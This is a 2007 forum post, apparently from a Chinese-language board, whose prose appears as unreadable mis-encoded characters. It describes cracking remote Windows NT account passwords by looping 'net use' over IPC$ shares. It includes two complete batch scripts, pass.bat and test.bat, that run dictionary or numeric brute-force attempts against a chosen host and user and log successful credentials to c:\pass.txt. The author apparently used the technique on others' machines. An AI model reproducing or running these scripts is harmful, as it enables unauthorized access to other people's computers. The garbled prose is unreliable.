Board logo

¼ÐÃD: ¥Îdos©R¥O¯}¸Ñ»·ºÝNT¥Î¤á±K½X [¥´¦L¥»­¶]

§@ªÌ: baolai     ®É¶¡: 2007-2-27 04:50 PM    ¼ÐÃD: ¥Îdos©R¥O¯}¸Ñ»·ºÝNT¥Î¤á±K½X

°²¦pª¾¹D¤@­ÓNT±b¤á»P±K½X¡A´N¥i¥H¥Î net use \\¥D¾÷\ipc$ "±K½X" /user:"¥Î¤á" »P»·ºÝ¥D¾÷«Ø¥ß³s±µ¡A³o¬O¨C¤@­ÓÀb«È©Î¬O¹Ú·Q¦¨¬°¤S©Î¬O¥¿¦b§V¤O¦¨¬°Àb«ÈªºªB¤Í³£ª¾¹Dªº¤èªk¡A¬Æ¦Ü³s§Ú³o­Ó³sµæ³¾³£ºâ¤£¤Wªº¤p³¾³£ª¾¹D¡A§Ú¤]¶È¶Èª¾¹D³o¤@±ø¡A§Ú´N¥Î§Ú¶È¶Èª¾¹Dªº³o¤@±ø¦b±JªÙºôùضi¤J§O¤Hªº¹q¸£¡A¦]¬°¥L­Ìªº¹q¸£±K½X³£¬°ªÅ¡A³Q¥L­Ìµo²{¤F¤§«á¬½K¤F¤@¹y¡AµM«á¯É¯É¥[¤W¤F±K½X¡A³o¤U¥i¨SÀ¸¤F¡A·Q¥h°½¿s¥L­Ìªº±K½X¥L­Ì¤S¨¾½d±oºò¡A¥u±o·Q¨ä¥L¿ìªk¡A¤]³\¦U¦ì¤j½¼­Ì´N·|§Q¥Î¨ä¥L¤èªk¡A½Ñ¦p´M§ä¨t²Î¤§Ãþ±o¨ìºÞ²z³\¥iÅv¡A¦Ó§Ú¤£¦æ¡A¦]¬°§Ú«e­±»¡¹L¡A§Ú¥u·|¨º¤@±ø¡A¨º¤S·|¦³¤H»¡¥Î ³nÅé ¼É¤O¯}¸Ñ±K½X´N¥i¥H¤F¡A¤]³\¤£¿ù¡A¦ý­º¥ý§Ú¨S¦³¨º¨Ç°ª²`ªº ³nÅé ¤]¨S¦³¤Ñ½á¥h¬ã¨s¨º¨Ç½ÆÂøªº¥Îªk¡A«o¦bµL·N¶¡¬ÝDOSÀ°§U®Éµo²{¤F¤@¨Ç©R¥O¡A·í¯u¬O¤ÑµLµ´¤H¤§¸ô¡G
1¡B¦r¨å¡Gfor /f %i in (¦r¨åÀÉ) do net use \\¥D¾÷\ipc$ "%i" /user:"¥Î¤á"
2¡B¼Æ¦r¡Gfor /l %i in (start,step,end) do net use \\¥D¾÷\ipc$ "%i" /user:"¥Î¤á"
¥H¤W¥i°Ñ¬ÝDOSùØ­±forÀ°§U¡AÁÙ§O»¡¡A¯uÅý§Úµ¹³s¤W´X¥x¾÷¤l¡A¥i°ÝÃD¤]ÀH¤§¦Ó¨Ó¡A³s¬O³s¤W¤F¡A§Ú¤´µM¤£ª¾¹D±K½X¡A¤U¦¸­n¥ÎÁÙ±o­«·s¥þ³¡¸Õ¹L¡C

¥¿¥¢±æ¡AµL·N¶¡¤Sµo²{¤F¤@­Ó¦n¤èªk¡A¤]³\¬O§Ú¤Ó²Â¡A¤]³\§A­Ì§óÁo©ú¡A¡A»¡¤£©w§A­Ì¦­¤w¸gµo²{¤F¡A¤£¦A»¡¼o¸Ü¡A¤U­±´N±N¤èªk¥þ³¡µ¹¥X¡A½Ð¦U¦ì¤j½¼«ü¥¿¡G
±N¤UÄѤå¥ó¦s¬°pass.bat:
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo ¯}¸Ñµ²ªG¡G >>c:\pass.txt
if "%6"=="1" goto shit2
:shit1
start "¥¿¦b¯}¸Ñ" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:shit2
start "¥¿¦b¯}¸Ñ" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
±N¤UÄѤå¥ó¦s¬°test.bat:
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%ªí¥Ü¨ú«e¤@©R¥O°õ¦æªð¦^µ²ªG¡Anet use¦¨¥\ªð¦^0¡A¥¢±Ñªð¦^2
:answer0
echo »·ºÝ¥D¾÷¡G"%1" >>c:\pass.txt
echo ¥Î ¤á¡G"%3" >>c:\pass.txt
echo ±K ½X¡G%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
±Npass.bat»Ptest.bat¦s©ñ©ósystem32¤¤¡A¥Îªk¦p¤U¡G
1¡B¦pªG¥Î¦r¨å¯}¸Ñ¡Gpass.bat ¦r¨åÀɸô®|¤Î¦WºÙ ¥D¾÷ ¥Î¤á¦W
2¡B¦pªG¥Î¼Æ¦r¯}¸Ñ¡Gpass.bat °_©l¼Æ ¨Bªø µ²§ô¼Æ ¥D¾÷ ¥Î¤á¦W 1
±K½X¯}¸Ñ¥X¨Ó¤§«á¡A¦s©ñ©óc:\pass.txt¤å¥óùØ­±¡C
¥t¥~¡A§Ú°µªº³o¨Ç¥u¬O¦b§½°ìºô¤º´ú¸Õ¡A¦pªG»·ºÝ´ú¸Õ¡A¨üºô³t­­¨î¡A¨ãÅ鱡ªp¥u¯à¾a¦Û¤v¥hºN¯Á¡C


¸ê®Æ¨Ó·½¡Ghttp://www.2000fun.com/bbs/redirect.php?fid=80&tid=2330320&goto=nextoldset
§@ªÌ: xp20060726     ®É¶¡: 2007-3-13 04:20 PM    ¼ÐÃD: ÁÂÁ±z!

DOSªº¾Þ§@¤w¸g«Ü¥Í²¨¤F,
¥¿¦n¦h¾ÇÂI§Þ¥©.




Åwªï¥úÁ{ ºô»Ú½×¾Â (http://centurys.net/) Powered by Discuz! 2.5